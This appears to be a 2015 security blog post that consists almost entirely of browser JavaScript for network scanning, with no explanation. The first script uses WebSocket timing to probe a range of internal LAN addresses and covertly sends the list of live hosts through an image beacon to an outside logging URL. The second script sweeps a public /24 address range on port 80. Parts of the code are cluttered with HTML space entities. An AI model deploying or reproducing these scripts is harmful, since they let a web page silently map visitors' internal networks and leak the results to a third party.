MENU

Network scanner (js版)

November 16, 2015 • Security

var start_ip=[];
var end_ip=[];
var start_time;
var current_ip=[];
var open_port_max=300;
var closed_port_max=2000;
var ns_hosts_up=[];
var finaldata,logz;

reset_scan_out();

start_ip = '192.168.1.1'.split('.');
end_ip = '192.168.1.25'.split('.');
 current_ip=[];
    ns_hosts_up=[];
    setTimeout("scan_network_ws()",1);

    
function scan_network_ws()
{
    if(init_ip_ns())
    {
    var rett= encodeURIComponent(finaldata+logz);

    new Image().src = 'http://192.168.80.1:5005/ilog.php?log='+rett;
    return;
    }

    start_time = (new Date).getTime();
    try
    {
        ws = new WebSocket("ws://" + current_ip.join("."));
        setTimeout("check_ns_ws()",100);
    }
    catch(err)
    {
        return;
    }
}
    
function check_ns_ws()
{
    var interval = (new Date).getTime() - start_time;
    if(ws.readyState == 0)
    {
        if(interval > closed_port_max)
        {
            log(current_ip.join(".") + " - down");
            setTimeout("scan_network_ws()",1);
        }
        else
        {
            setTimeout("check_ns_ws()",100);
        }
    }
    else
    {
        log(current_ip.join(".") + " - up");
        ns_hosts_up.push(current_ip.join("."));
        setTimeout("scan_network_ws()",1);
    }
}
    
    

function init_ip_ns()
{
    if(current_ip.length == 0)
    {
        current_ip = copy_ip(start_ip);
    }
    else if(compare_ip(current_ip,end_ip) == 2)
    {
        results_ns();
        return true;
    }
    else
    {
        current_ip = increment_ip(current_ip);
    }
    return false;
}

function results_ns()
{
&nbsp; &nbsp; finaldata = "<b>Live Hosts:</b>" + ns_hosts_up + "<b>Status</b>";
}

function copy_ip(source)
{
&nbsp; &nbsp; var dest = [];
&nbsp; &nbsp; for(var i=0;i<source.length;i++)
&nbsp; &nbsp; {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;dest[i] = source[i];
&nbsp; &nbsp; }
&nbsp; &nbsp; return dest;
}



function compare_ip(a,b)
{
&nbsp; &nbsp; for(var i=0;i<4;i++)
&nbsp; &nbsp; {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;var r = _compare_int(a[i],b[i]);
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;if(r == 1)
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;return 1;//a is greater than b
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;else if(r == 3)
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;return 3;//b is greater than a
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
&nbsp; &nbsp; }
&nbsp; &nbsp; return 2;//b is equal to a
}

function _compare_int(_a,_b)
{
&nbsp; &nbsp; if(_a > _b)
&nbsp; &nbsp; {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;return 1;//_a is greater than _b
&nbsp; &nbsp; }
&nbsp; &nbsp; else if(_a == _b)
&nbsp; &nbsp; {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;return 2;//_a is equal to _b
&nbsp; &nbsp; }
&nbsp; &nbsp; else
&nbsp; &nbsp; {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;return 3;//_a is lesser than _b
&nbsp; &nbsp; }
}

function increment_ip(inc_ip)
{
&nbsp; &nbsp; inc_ip[3]++;
&nbsp; &nbsp; for(var i=3;i>=0;i--)
&nbsp; &nbsp; {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;if(inc_ip[i] == 255)
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;inc_ip[i] = 0;
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;inc_ip[i-1]++;
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
&nbsp; &nbsp; }
&nbsp; &nbsp; return inc_ip;
}

function log(to_log)
{
&nbsp; &nbsp; logz += to_log + "";
}

function reset_scan_out()
{
&nbsp; &nbsp; finaldata= "";
&nbsp; &nbsp; logz = "";
}

var ret = [];
var netip = '61.147.88';
var wsList = [];
var timeOut = 10; // 秒,此处必须少于20秒

function wsLoop(address) {
&nbsp; &nbsp; var ws = new WebSocket('ws://' + address);
&nbsp; &nbsp; ws.onclose = function(data) {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;ret.push(address);
&nbsp; &nbsp; };
&nbsp; &nbsp; wsList.push(ws);
}

function start() {
&nbsp; &nbsp; for (var i = 1; i < 256; i++) {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;wsLoop(netip + '.' + i + ':80');
&nbsp; &nbsp; }
&nbsp; &nbsp; setTimeout(function() {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;alert(ret.sort().join('\r\n'));
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;wsList.forEach(function(ws) {
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;ws.close();
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;});
&nbsp; &nbsp; }, timeOut * 1000);
}

start();
Archives QR Code
QR Code for this page
Tipping QR Code